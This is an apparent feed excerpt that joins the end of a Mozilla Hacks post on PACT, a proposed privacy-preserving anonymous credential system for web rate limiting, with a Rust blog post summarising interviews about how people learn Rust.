<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
